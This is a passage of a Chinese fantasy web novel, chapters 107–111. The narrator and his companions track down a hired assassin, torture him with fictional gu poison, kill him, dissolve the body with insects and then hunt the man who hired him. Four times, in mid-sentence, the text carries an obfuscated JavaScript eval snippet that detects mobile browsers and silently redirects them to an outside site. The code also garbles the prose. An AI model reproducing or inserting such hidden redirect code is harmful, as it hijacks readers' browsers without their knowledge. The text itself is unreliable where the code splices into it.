老蝙蝠打着嗝出现,变成一股灰气,围绕办案警察的头顶转了两圈。 警察视线立刻变得恍惚起来,呆滞地掏出钥匙,替我们打开证物室大门。 吴总惊愕地看着我,“你刚才做了什么?” 我摇头没说话。 他肉眼凡胎看不到正趴在警察头上做鬼脸的老蝙蝠,我也不想暴露太多秘密给他知道。 进入证物室,我们重新看到那把飞刀。 老蝙蝠附到凶器上面,使劲用鼻子嗅了嗅,回头对我比了个OK的手势。 我二话不说,转身离开了警局。 到了外面,老蝙蝠指了指吴总的背影说,“这老小子对你意见挺大,要不要我帮你,让他同意你和女儿在一块?” 我黑着脸说,“你是不是又忘了之前答应过我什么?” 山妖最擅长迷惑人的心智,尤其是老蝙蝠这种精神力强大的大妖,要控制一个人跟玩一样。 但我一直在警告它,绝对不能用法力对付普通人,一旦被我发现,马上就弃养。 这属于原则问题,没得谈! 回了古香斋后,T恤男还在等我的调查进展,马上问我见到凶器了没有? 我点点头,表示老蝙蝠已经记住了凶手的味道,天黑后我就会把它放出来,进行全城搜索。 T恤男说,“这么大一座城市,要想光靠嗅觉就找出凶手,倒是挺不容易的,看来这次要麻烦蝠前辈了。” 虽然我一直拿老蝙蝠当小弟,可T恤男和明叔却对它相当客气,一口一个前辈,搞得我直起鸡皮疙瘩。 老蝙蝠那个嘚瑟劲就别提了,装模作样地背着小爪子说,“嘿嘿,这种事只有我能做到,年轻人,你们就等我消息吧。” 天一黑,老蝙蝠就扑腾翅膀出门了。 我和T恤男待在店里等消息。 明叔已经成功调配出蛇毒的解药,带上王刚去医院帮吴娅解毒。 临走时他问我要不要一块去,我迟疑着把头摇了摇。 我和吴娅本来就不属于同一个世界,还是不要再见了。 第107章 俘获杀手 目送明叔离开,T恤男忽然看着我说,“其实吴娅这个女孩挺不错,你想好了,真的不再见她?” 我耸了耸肩,像我这种人压根就没有资格追求所谓的幸福。 吴娅的各方面条件确实很好,可惜她不是我追求的那盘菜。 如果不快刀斩乱麻,趁着感情还没有建立起来的时候把它扼杀在摇篮里,将来只会更麻烦。 T恤男比较认同我的看法,“你说的也对,人在江湖身不由己,有时候表现得不近人情一点,也是对对方的一种保护。” 我忽然一愣,半开玩笑说你挺有生活啊,老实交代,是不是曾经骗过那个无知少女的感情?否则怎么会有这么深的体会。 T恤男却没有跟我开玩笑的意思,一直板着那张扑克牌的脸。 从傍晚等到天黑,直到凌晨两点多,老蝙蝠还是没有回来。 我越等越着急,忍不住抱怨道,“这老畜生到底靠不靠谱,都出去这么久了还没消息。” 话音刚落,我就听到窗外传来打喷嚏的声音, “老大,你怎么又在背后骂我。” 我火速推开窗户,看见老蝙蝠头上顶个飞行员罩罩,当做降落伞一样滑翔进来。 它趴在桌上晃了晃脑门,“可累死爹了,城市里的人真不讲公德心,我飞过一个小区的时候差点被人用弹弓打下来。” 我纳闷道,“人家干嘛用弹弓打你?” 老蝙蝠笑得很猥琐,说可能是因为看见我正偷他老婆内衣吧。 我气得牙疼,怎么没打死你个狗曰的。 T恤男说,“蝠前辈,有结果了吗?” “那还用说,黄爷亲自出马,还有搞不定的?”老畜生深谙装啵伊的精髓,摇头晃脑地探出五根小爪子,说事成之后,我要五只鸡当酬劳。 丫还拽上了。 我掏出槐木牌准备给它几个暴栗,老蝙蝠吓得捂脑袋,“我开玩笑呢哥,最近消化不良,一只鸡就够了。” 我黑着脸说,“少废话,带路!” 它顺手去抓罩罩,“你等我先换战袍……诶,别打!” 为了方便尽快找到目标,我上了T恤男的摩托车,让老蝙蝠飞在前面带路。 他直接带我们往北郊一片豪宅区飞过去,我越走越纳闷,这边住的都是有钱人,凶手怎么可能藏在这里? 老蝙蝠降落下来说,“我也是花了好久才找到这里,错不了,前面那栋豪宅里出现过和凶器一样的气息,凶手指定来过这儿。” 出于对老蝙蝠的信任,我没再说啥。 T恤男找了个隐蔽角落把摩托车停好,我们直奔一栋别墅大门。 到了附近之后,T恤男并不急着翻墙进去,而是谨慎地看了看四周。 老蝙蝠则往墙头上指了指,说别找了,这里一共九个摄像头,我全都把位置标记过了。 在它的指引下,我们先毁掉了别墅外墙的监控设备,然后大摇大摆冲进去。 对方根本想不到我们会这么快找到这里。 刚跑进大厅,我就看见一道矮小的身影正从里面走出来。 四目相对,他短暂地惊愕了两秒,下意识开口骂道,“次奥!” 我则一眼就认出了这家伙,“可算找到你了!” 前天晚上他暗算我的时候,头上戴了个鸭舌帽,让我看不清五官。 可身材是不会说谎的。 他身高堪比小四,比我挨了一个头,脸上满是脓包,散发着一股烂橘子的味道。 见行踪败露,杀手转身就往别墅后门跑。 T恤男则是蓄势待发,犹如利箭一样快速冲上去。 杀手感觉到脑后有风,回头只见T恤男已经追到不足两米。 他面露阴狠,抬手射出一把飞刀。 飞刀仅有五公分,红樱束尾,刀锋狭长宛如柳叶,破空速度很快。 和前天暗算我的是一种! 但T恤男也不是盖的,一个急刹顿住身形,闪身朝侧面一扑。 飞刀扎在墙上,发出夺的一声轻响。 刀锋有一半没入墙体,尾端嗡嗡抖个不停。 是个高手啊。 我怕T恤男有闪失,马上从另一边跳上去,一拳砸向杀手的面门。 对方邪笑一声,忽然扯掉上衣,露出黝黑的上半身肌肉。 在他胸口位置上纹了一道蟒蛇图案,活灵活现,两个眼球散发出很深的邪气。 “纹阴师?” T恤男把眉头皱了一下。 纹阴师在这个圈子里不算罕见。 通常都是一些民间散修,为了增加修为,利用邪法刺符获得阴神的力量加成。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744000|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种纹身可不像普通人是用来耍帅的,而是货真价实的阴符。 露出纹身之后,杀手马上咬破中指,把鲜血滴落在胸口纹身上,嘴里念念有词。 一股阴法波动围绕他身体旋转起来。 阴符开始发光,凝聚出一道青色的蟒蛇,张牙舞爪朝我扑过来。 我没躲,咬牙大骂一声“你去死”,快速激发了左手掌心处的憎恶印记。 不等青色蟒灵靠近我,我已经提前抓住了蟒头。 手心处的黑点飞快运转,爆发出一股强悍的吸力。 蟒灵的气息正在快速减弱,被憎恶印记吸收进我的身体。 阴寒的气流冲击我的经络,整条膀子也陷入了发麻的状态。 虽然憎恶印记可以吸收负面能源,但这些阴气在身上游走的时候,同样会带给我很强的不适感。 我的手腕在不停颤抖,牙齿咬得咯咯作响。 老蝙蝠看到之后赶紧提醒我道,“老大,你别胡来,如果吸收太多阴气,又得不到及时的炼化,有可能整条手臂都会废掉。” 道理我当然知道,可在怒火的驱使下,我已经什么都顾不上了。 不管侏儒男是出于什么原因要对付我,都不该牵扯到我身边的人。 这是我最大的逆鳞。 “啊!” 强忍手臂传来的酸胀感,我发出一声咆哮。 掌心吸力骤然爆发,形成一道黑色气旋。 青色毒蟒直接被抓爆,随风散开,化作一片青色的磷火。 “你……”侏儒男脸色惨白,吐出一口老血,看我的眼神好像见了鬼。 我直接冲上去,一脚踢中他下巴。 他门牙掉了两颗,身体侧翻在地,疼得直哼唧。 T恤男则找出绳子,捆住这家伙的四肢,把人固定在一根凳子上面。 我们一起围在侏儒男面前,居高临下地打量对方。 这家伙倒是很硬气,干脆闭上眼睛说,“失算了,没想到你能找到这里。” 我脸色一冷,“你特么属兔子的,跑这么快,以为跑出那条步行街就没事了?” 可惜,他小看了我的执着。 伤害我可以,伤害我身边的人就不行! T恤男用手掐着他的下巴问,“无冤无仇,为什么暗杀林峰?” 第108章 杀意 这个问题也是我最想问的,只是心里太愤怒,所以没问出来。 T恤男替我讲出了想说的话,可杀手却装傻充愣,“你们有证据吗,凭什么冲进我家搞破坏。” 证据? 我和T恤男对视一眼,都忍不住冷笑起来。 看来这位仁兄还没搞明白状况,江湖事江湖了,干咱们这行的人又不需要上法庭,需要什么证据? 于是T恤男反手就是一耳光,“我劝你最好合作点,我们的耐心并不多。” 杀手被打得晕头转向,却依旧硬气,把头埋低说,“人为财死鸟为食亡,这个问题还用问?” “这么说你背后有人了?”我马上抓住了重点,气愤地揪住他衣领,“是谁!” 杀手扬起了一张丑陋的麻子脸,布满暗疮的脸上充满邪笑,“怎么说我也是个杀手,这么容易就出卖雇主,将来怎么混?” “你特么的!” 我气得太阳穴狂跳,扬起手又要抽它。 T恤男拦下我说,“算了,这家伙嘴巴很硬,不会这么轻易告诉我们的。” 见杀手有些洋洋得意,T恤男又说,“你是觉得,只要自己扛住我们,我们就拿你没办法对不?” 杀手道,“有本事你们就给老子来个痛快,既然干了这行,我早就想到会有这天了。” 怕死的人当不了杀手,这些人不会在意别人的命,同样不会在乎自己的命。 看来要想用常规的办法撬开他的嘴,很难。 不过T恤男最喜欢的就是啃硬骨头。 没等杀手继续嚣张,T恤男就打开一个木匣子,从里面取出一些灰色的粉末。 杀手的眼角抽搐了一下,“你想干什么,你……唔!” 趁他张嘴的那一刻,T恤男已经快速卡住他下巴,把那些粉末倒进他嘴巴里。 杀手很抗拒,不停地张嘴想要挣扎,结果被我照着肚子上来了一拳,疼得把身体弓紧,嘴巴也大大张开了。 那一包粉末最终还是被倒进他嘴巴里。 T恤男后退两步说,“你不是喜欢用毒吗,刚好我也懂这个,知道什么是蛊吗?” 杀手完全没有反抗的机会,T恤男刚把话讲完,就把双手合在一起,催动起我听不懂的法咒。 他念的是苗语,节奏很快。 随着咒语念完,T恤男打了个响指,杀手的哀嚎声就在别墅大厅响彻起来。 他的呼声特别凄厉,比杀猪还要响,我赶紧找了块布堵上他的嘴。 听到这家伙传来的痛呼声,我不仅没有感到可怜,反倒有种莫名的快意。 从他伤害吴娅那一刻,结局就已经注定了。 老蝙蝠飞到我身边说,“这家伙叫得真难听,要不要我弄哑他?” 我没答应,还得留着杀手问话呢。 眼看他开始喷白沫,我才对T恤男使了个眼神。 T恤男停手,我一把取出杀手嘴里的破布,蹲下去问他爽不爽。 杀手吐了一口长气,说厉害,这是什么毒? T恤男冷冷地说,“蝎子蛊,如果人的痛苦分成十级,我的蝎子蛊可以让你感受到第十一级的痛苦,说还是不说?” 杀手沉默了一下,依旧选择了嘴硬。 我对他竖起大拇指,“哥们你果然是个硬汉,继续!” T恤男没有再留情,继续催动蛊咒,这次的蛊咒持续比较长,杀手感到的痛苦也比刚才更加猛烈。 第二轮下来,这家伙已经咬烂了自己的嘴唇,浑身都是冷汗。 到了第三轮,他身上的绳子已经深深勒紧肉里。 然后是第四轮。 到了第四轮结束的时候,我跑去外面找了块砖头,塞到杀手嘴巴里说, “哥们别急,离天亮还早着呢,听说人在极度痛苦的时候,连砖头都能咬破,我先拿你做个实验。” 就在我硬往他嘴里塞砖头的时候,这家伙终于怂了,“别别,先等等,有什么话可以慢慢说嘛。” 我说你刚才不是还很硬气吗?不急,我们可以打折吊瓶慢慢玩。 我根本不给他求饶的机会,硬把砖头塞进去,催促T恤男开整。 一轮轮的折磨下来,这个号称硬汉的家伙终于有了崩溃的迹象,含糊不清地喊道,“别,我说就是了,靠,没想到你身边还有个蛊师,早知道第一轮我就说了。” “自己说你是不是贱!” 我给他气笑了,反手又是一个耳刮子。 这才叫真正的不见棺材不掉泪,非逼我们折磨他一顿才肯说实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744001|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 杀手哭丧着脸说,“我以为自己能扛住,没想到当个宁死不屈的英雄这么难。” “好了别废话,说出幕后主使,我可以考虑放过你。” T恤男不想浪费时间,一脚踩在杀手膝盖上。 杀手疼得肩膀直抽抽,咬牙说,“你自己得罪了谁难道不清楚吗,跟那个富二代抢女人,人家怎么会放过你!” “你说谁?”我太意外了,紧紧扣住杀手的脖子。 他哼唧道,“你抢过多少个女人,自己不会想?啊……” 没等他说完,T恤男继续发力,杀手再次疼得惨叫起来。 我则松开手,感到一阵不可思议。 孙杨。 我想破头都没想到会是这个家伙。 不就是几天前在大街上动了一次手吗,还是这家伙主动把脸凑过来让我揍的。 真没想到他会怀恨在意,干出买凶杀人的事。 杀手开始交代细节,“你当街羞辱他,这家伙越想越气,所以就通过中间人联系上我了,刚好我也缺钱,就答应动手,只是没想到那一刀会射偏,反倒害了你马子。” 就因为这个,孙杨并没有支付尾款,还打电话把杀手骂了一顿。 杀手本来打算躲起来休息几天,等风声过了再搞暗杀。 没想到我会这么快找上来,打了他一个措手不及。 我气得牙根痒,说孙杨答应给你多少钱? 杀手报了个数字,说十万。 当时我脸就黑了,一条人命只值十万,这也太廉价了。 杀手说,“我也没想到你这么难对付,早知道就要双份了……” 呵呵! 我冷厉地看着他,死到临头了还在纠结酬金的事。 杀手读懂了我眼神中的寒意,马上打了个激灵,“等会儿,你朋友刚刚承诺过,只要我说出来,你们就考虑放过我。” “我骗你的!”T恤男发出一声冷笑,转手把匕首递过来, “放还是杀,你自己决定吧。” 我没说二话,抓紧匕首,一刀朝杀手心窝捅去。 经过这么多事,我早就学会了成长,不会对一个曾经想杀掉自己的人手下留情。 更何况,他还伤害了我身边的人。 第109章 送上门 望着倒向血泊抽搐的杀手,老蝙蝠舔下了嘴唇,说真可惜。 我回头冷漠地瞪了它一下,可能是见我样子太吓人,老蝙蝠赶紧缩脖子,尬笑说,“放心吧老大,我答应过不吸人血,说到做到。” T恤男则踢了踢杀手的尸体,问我接下来怎么办? 我深深吸气,目光变得阴寒起来,“我不会对一个想要我命的人手下留情,这是孙杨自找的!” “好,我们一起去。”T恤男出道比我早,对于杀人这种事早就习以为常了。 这种事对他来说,简直跟喝水吃饭一样简单。 老蝙蝠则指了指地上的尸体,提醒我们动手前必须善后。 “交给我就行了。” 和上次一样,T恤男主动承担了这个任务。 这次他没有避讳我,而是打开随身的木匣,从里面取出了另一边绿色药粉。 随后,把这些绿色药粉洒向尸体的伤口。 仅仅过了几秒钟,绿色粉末和鲜血发生反应,冒出滋滋的浓烟。 我惊骇地发现,这些粉末中居然爬出了一些和跳蚤差不多大小的虫子,正在疯狂啃噬尸体的血肉。 老蝙蝠也惊了一下,怪叫说,“食尸蛊,你和五毒教是什么关系?” T恤男看了眼我们,摇头,没有说话。 见他不想说,我只好对老蝙蝠投去了询问的目光。 老蝙蝠难得严肃,沉声说,“食尸蛊是苗疆五毒教特制的蛊虫,那些绿色粉末是它的虫卵。” 当虫卵接触鲜血之后,就会快速孵化,并长出成虫。 成虫则会疯狂地啃噬尸体,直到把尸体的血肉全部吞噬干净,甚至连内脏和骨头都不会放过。 等到啃噬完尸体之后,这些食尸蛊也会暴毙。 属于是居家必备的杀人良方,用它处理尸体保证不会留下任何线索。 我倒抽一口凉气,能研究出这种毒虫的人,心思得多狠? 老蝙蝠挠了挠下巴,一脸忌惮地说可不,食尸蛊是苗疆五毒教的拿手好戏,我倒是没想过,柳兄弟居然是五毒教的人。 这老畜生活得久,虽然不是人类,见识却比人类更加丰富多,堪比百科全书。 察觉到老蝙蝠的反应,T恤男又把头摇了摇, “蝠前辈不要误会,因为某些特殊的原因,我的确懂得一些蛊术,但我并没有加入五毒教,更不会利用邪蛊去害无辜的人。” 老蝙蝠讪笑道,“呵呵,不是那个组织的人最好,否则我和老大就要离你远一点了。” 认识这么久了,我还是第一次在老蝙蝠脸上看到这种表情。 暗想这个五毒教应该很厉害,连身为大妖的它都怕成这样。 可惜,T恤男身上的秘密太多,他似乎并不打算跟我分享,我也得不好再问下去。 短短几分钟后,杀手的尸体已经被处理得异常干净。 就连洒在地板上的血迹,也被食尸蛊吞噬一空。 当吃完尸体之后,食尸蛊也很快死去,被T恤男浇上汽油,一把火点燃。 这样一来,不仅杀手的尸体消失,就连食尸蛊也跟着消失,就算警察到场也不可能查出任何痕迹。 我震惊得不行,感觉T恤男比刚才死掉的这位更像杀手。 震惊之余我也在心底暗暗庆幸,幸亏我和他是朋友,不是敌人。 走出别墅,我们马不停蹄开车往另一个方向赶。 通过杀手的供述,我们已经确认了幕后黑手的身份,并锁定了孙杨的住处。 T恤男把摩托车开得很快,半小时就到了地方。 比起那个身为孤家寡人的杀手,孙杨住的地方防守严密多了。 这里是一个占地很大的庄园,不仅有大量监控,还有十多个保镖守在房子外面。 T恤男蹲在树荫下说,“要搞定这家伙很有难度,那些保镖看起来身手不错,如果发现有人闯进去,肯定会第一时间找帮手。” 其次,T恤男还在里面感受到了高手的气息。 我摸起下巴说,“没想到孙杨家这么有钱,看来要搞定这家伙,还得多费些手脚。” 老蝙蝠忽然凑上来说,“老大,其实我倒有个主意,就是得让你受点委屈。” 我马上说,“什么主意,快说。” 它贱兮兮地凑到我耳边,说出自己的计划。 我眼前一亮,马上拍大腿说,“好,那就按你的计划来。” 现在是凌晨一点多,别墅里很安静。 除了门口那几个保镖之外,倒是没有发现其他有可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744002|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威胁到我的存在。 在确定好计划之后,我马上绕开监控,绕到一块比较低矮的围墙下。 一个助跑,轻松翻过了将近三米的围墙。 这几个月的苦功没有白费,我明显感觉到自己的身体变轻盈了,爆发力也比之前强得多。 虽然这该死的命格带给我无穷的麻烦,但不得不说,我也在大伯那里继承了巨大的好处。 跳进围墙后,我先躲到一块假山石后面。 确定附近没有人发现自己,才借助假山的掩护,默默爬向一个亮着灯光的房间。 刚靠近窗户,我就听到里面传来玻璃被摔碎的声音。 孙杨咬牙切齿道,“姓王的,你给我介绍的都是什么杀手?不仅没弄死那个小子,反倒把吴娅也弄伤了!” 随后传来一个男人的讪笑声,“孙少爷,这是意外,我保证下次不会了。” 孙杨怒火中烧道,“你特么还想有下次,万一事情露馅了怎么办?” 那个姓王的人赔笑说,“放心,绝对不会,不就是搞定一个刚出道的毛头小伙吗,我的人有经验,常杀人,也就顺手的事。” 孙杨语气稍微缓和了一下,“真的?” 男人点头,“当然,上次失手是因为低估了这小子,这次我会亲自出马,你总该放心了吧。” “好,我再给你一次机会,等那小子挂掉之后,我再把尾款付给你。” 孙杨冷笑了下,咬牙切齿说,“从小到大,我看上的东西还没人敢抢,这次他死定了。” 听到这儿我已经忍不了了,直接推开落地窗跳进去,指着他大骂, “孙杨,果然是你干的!” “林峰?你小子怎么找到这里来了。” 我的出现把孙杨吓一大跳,一脸心虚直接从沙发上蹦起来。 我冷漠道,“若要人不知,除非己莫为,你找的杀手根本就不靠谱。” 孙杨脸色一变,扭头就想往里屋跑。 我立刻跟上,摸出一把折叠刀。 这个富二代跑得哪有我快,很快被我踩中了影子。 可就在我准备一刀劈死这个混蛋的时候,房间角落却传来另一道阴阳怪气的冷笑, “有意思,你自己送上门也好,省得我去找你。” 第110章 反转 说话的是屋子里的另外一个人。 刚才我急着追砍孙杨,并没有在乎那家伙,直到他主动站起来,快速冲上来挡在了孙杨面前,我才不得不把脚步停下,谨慎地观察起对方。 这是一个中年胖子,长得大肚便便,身材却不高,跟个矮冬瓜似的。 他的皮肤很白,下巴留着两撇小胡须,眼睛很小,但却比较犀利。 我踩了一脚急刹,指着矮冬瓜说,“你是谁?” 矮冬瓜摆出一张阴笑的脸,“要你命的人。” 靠,都是道上混的,装什么啵伊? 我指着矮冬瓜说,“那个杀手是你派出来的?” 他眯着眼睛点头,说是啊,本来以为你只是个小人物,随便派个人就能搞定,没想到你不仅躲了,还能找到这里, “不过这样也好,千里送人头,礼轻情意重嘛,孙少爷答应我,搞定你就给我五十万。” 怎么又变成五十万了? 我惊了一下,刚才那个侏儒杀手说,搞定我能有十万佣金。 可这个矮冬瓜却表示自己能拿到五十万。 妈的,不用说,中间那四十万差价肯定被矮冬瓜黑了。 这一套转包工程玩的可真溜! 我脸一黑,“你个混蛋,为了几十万就杀人,完全不顾王法了吗?” “王法是什么东西?对鬼面会的人来说,有钱就是王道!” 矮冬瓜邪笑一声,忽然把手抬起来,打了个响指。 瞬间屋子里灯光全灭了,一股阴冷的空气回旋,直接把我包围起来。 我脸色大变,这才意识到这个房间早就被人布置过了。 矮冬瓜手上拿着一个人形木偶,轻轻晃了晃,一脸的嘲弄。 孙杨躲在他后面大喊道,“别废话了,赶紧弄死这个兔崽子。” “该死的是你!”我鼻子都气歪了,不管不顾,一刀朝矮冬瓜劈过去。 “找死!” 矮冬瓜把人偶丢出来,上面有一股黑气喷发。 人偶好像变成了活物,居然张开锯齿一样的嘴巴,迅速蹿向我的脖子。 是木偶机关? 我一扬眉,手上的折叠刀就飞出去。 刀锋恰好装在人形木偶上面。 出乎意料的事情发生了,人偶张开嘴巴,露出钉板一样牙齿,居然咬住了折叠刀。 同时人偶的两个眼睛忽然变红,喷出一股白烟,毫无征兆地洒在我脸上。 我只呼吸了一口,顿时头重脚轻站不稳,身体半蹲在地上,大骂卑鄙! 没想到矮冬瓜居然在人偶里面藏了毒。 只要人偶遭到袭击,毒烟马上就会喷出来。 我江湖经验太浅了,第一个回合就上了当。 矮冬瓜邪笑道,“年轻人,能打不算本事,关键得学会动脑。” 他走过来,一脚踢中我左肩。 我身体僵硬,动不了,结结实实挨了这一脚。 本来肋骨的伤就没有完全愈合,这下疼得钻心,我趴在地上想爬起来,可尝试了好几次,身上一点力气都使不出。 矮冬瓜话里话外都是嘲讽,“别费劲了,中了我的毒烟,就算一头牛也得跪,三个时辰内你什么都做不了。” 说完他慢条斯理地捡起地上那把折叠刀,嘲弄说,“死在自己的武器下面,也算不亏了。” 我冷冷地看着他,没有说话。 但就在矮冬瓜准备动手的时候,孙杨却把他叫住了,“等等,你傻啊,怎么在我家里杀人?” 矮冬瓜只好停下来,说那好吧,我把人带到外面处理。 接着他把我扛在了肩上,转身外别墅后面走。 我四肢麻痹,动不了,只能任他摆弄。 孙杨则满脸恶毒地跟上来,边走边嘲笑我,“姓林的,你那天不是很拽吗,现在还不是落到我手里?” 我懒得跟他废话,哼了一声。 “不服?” 孙杨快步跟上来,在我脸上拍了拍,语气极度嚣张,“能打有什么用,这个世界比的是谁钱多,人脉广,你个穷逼还想跟我竞争,活该你死啊!” 我冷冷地开口,“你想杀我,只是为了得到吴娅?可你请来的杀手却弄伤了她!” 孙杨一脸无所谓道,“呵呵,老子有钱,想玩什么女人都行,她死了我还可以换一个。” 我点点头,表示懂了。 孙杨根本就不是真心喜欢吴娅,他之所以那么坚持追求对方,不过是出于男人的征服欲。 这家伙家境优越,从小就在别人的讨好和夸赞下长大,要什么有什么。 所以他接受不了有人拒绝自己。 走出别墅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744003|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面,矮冬瓜把我抗进了一片小树林。 这里月黑风高,连个鬼影子都没有,倒是很适合杀人越货。 矮冬瓜把我丢在地上,环顾四周黑漆漆的环境,冷笑说,“这地方风水不错啊,死在这儿也算你的造化。” 孙杨有恃无恐地站在他身边,同样对我扬下巴, “你马上就要嗝屁了,还有什么遗言要说?” 我注视着他那张写满了嚣张和怨毒的脸,一字一顿,“你杀我,只是因为争风吃醋这个理由?” “这个理由已经足够了。” 孙杨得意洋洋,恨不得把尾巴竖起来当旗摇,“跟我抢东西的人全都不会有好下场,等我弄死你,还可以继续找吴娅,玩完了再丢,你能奈我何?” “你个畜牲。” 我暴跳如雷,强撑着要蹦起来咬他。 但那种迷烟的效果还在,我刚站起来一半,马上无力地跌坐回去。 孙杨吓一跳,赶紧躲在矮冬瓜后面说,“靠,这小子怎么还能动?” 矮冬瓜也面露惊讶,观察我一会儿,笑笑说,“没事,垂死挣扎罢了,我经常杀人,还没出过意外呢。” 接着他就把刀举起来,在我脑门上比划,“小子,下辈子聪明点。” 唰! 刀锋猛地往下一沉,直**天灵盖。 这家伙出手的角度和精准度都不错,动作相当老辣,显然不是第一次干这种事了。 我抬头看见孙杨在冷笑,似乎已经预见到我即将死去。 我同样扬起了嘴角,在心里骂了一句煞笔。 刀尖即将刺穿我头皮的一瞬间,林子里传来一道破空的锐啸。 一枚黑色钢针撕开黑暗,径直扎中矮冬瓜的手腕。 矮冬瓜把所有精力都放在我身上,根本没想过附近有人偷袭。 就在他最得意,最猖狂那一瞬间,意外就这么发生了。 “啊!” 手肘传来的剧痛,让矮冬瓜丢了匕首,握住渗血的伤口大骂,“谁在暗算我?” “是我。” 随着一声冷哼,T恤强势杀到,从黑暗中闪现出来,一脚踢中他腰眼。 矮冬瓜一个侧滚,惨护着飞出去。 孙杨则瞬间石化,意识到场面不对,马上尥蹶子跑回家。 跑得了吗? 第111章 鬼面会 答案是否定的。 老蝙蝠早就蓄势待发,不等这家伙跑出林子,一片乌云直接盖下来,笼罩住孙杨的头顶。 “啊!”他同样发出一声惨叫,一屁股坐倒。 灰色影子离开他的身体,显化出老蝙蝠猥琐的相貌,等待我的下一步指示。 我麻木地摇头,已经不对孙杨的人性抱有任何希望。 有钱就可以恃强凌弱,买凶杀人? 有钱就可以张牙舞爪,视人命如草芥? 我曾经想过给这个富二代一个改过自新的机会,很遗憾,他没有抓得住机会。 在明确了我的眼神之后,老蝙蝠马上露出了凶狠表情,二话说话,再次化作一团雾气,钻进孙杨体内。 这小子马上停止了惨叫,呆滞地站起来,想个牵线木偶一样往林子深处走。 之前,我不让老蝙蝠喝人血。 可畜牲的血是例外。 老蝙蝠很识趣,直到当面吸血的过程比较残忍,便控制孙杨走进了林子里看不见的地方。 同一时间,T恤男也在一脚踢飞矮冬瓜后,转身朝我这边走来。 他朝我扫了一眼,马上淡漠地说,“居然是噬魂香,能炼出这么高级的迷烟,这家伙来头不小。” 说着他取出一个小瓶子,扒开瓶盖凑到我鼻子下面。 强烈的恶臭扑鼻,熏得我泪流满面,本能地推开T恤男,趴在旁边干呕,恨不得连胆汁都吐出来。 吐过之后,我忽然感觉身上恢复了不少力气,这才扶着树干站起来,喘气说,“啥玩意烂了,这么臭?” T恤男难得笑了笑,一脸揶揄道,“是某种蛊虫的粪便,经过特殊的配方制成的,可以提神醒脑,你要不要再来一口?” “别!” 我怕待会儿连肠子都吐出来,甩了甩发晕的脑门,恶狠狠地看向矮冬瓜。 矮冬瓜正跌坐在地上,难以置信地捂着伤口。 面对我投来的目光,他喃呢说,“你是故意闯进来,被我抓住的?” “不这样搞的话,你和孙杨怎么会主动离开那栋别墅?” 我早知道孙杨身边可能有高手,也知道自己一个人搞刺杀的成功率很渺茫。 为了把人从别墅里骗出来,才选择舍身犯险。 矮冬瓜哆嗦嘴,“你就不怕我直接在别墅里面宰掉你?” 我说不会,孙杨只是个纨绔的富二代,害怕热麻烦,怎么会容忍他在自己家里行凶呢。 更何况我身上还有张底牌没用,大不了就是再捐一次精,轻易也死不掉。 矮冬瓜认栽了,苦着脸哀求,“我说哥们,我只是拿钱办事,既然你们都把孙少爷抓走了,能不能给个机会,绕我一条狗命?” 我愣了愣,冷笑说你倒是能屈能伸,刚才不说自己经常杀人吗,一个杀手怎么才这点觉悟? 矮冬瓜苦笑说,“你听错了,我没说自己常杀人,我说的是自己来自湖南,长沙人。” 靠,死到临头玩这种谐音梗有意思? 虱子多了不痒,反正我手上已经沾了血,多他一个不多。 想到这儿我把匕首抓起来,一步步朝他逼近,“不好意思,你的话我连标点符号都不信。” 从他刚才害人的手法来看,这家伙来头绝对不小。 打蛇不死必被咬,我可不会留下这个祸害。 见我没打算放过自己,矮冬瓜也不再说什么,闭上眼仿佛认命。 可下一秒,这家伙紧闭的双唇忽然张开,嘴里居然射出一把薄刃,直**胸口。 “臭小子,一命换一命,老子也不亏!” “小心!” 矮冬瓜的狞笑和T恤男的提醒声同时在耳边响起。 银芒一闪,刀刃已经近在咫尺。 我完全傻了,怎么都没想到他还藏了这一手,嘴巴也能射出刀子。 就在我恍惚出神,即将被刺中胸口那一刻,脑子里再次传来一声轻蔑的浅笑,“果然是个二百五,废柴男一个!” 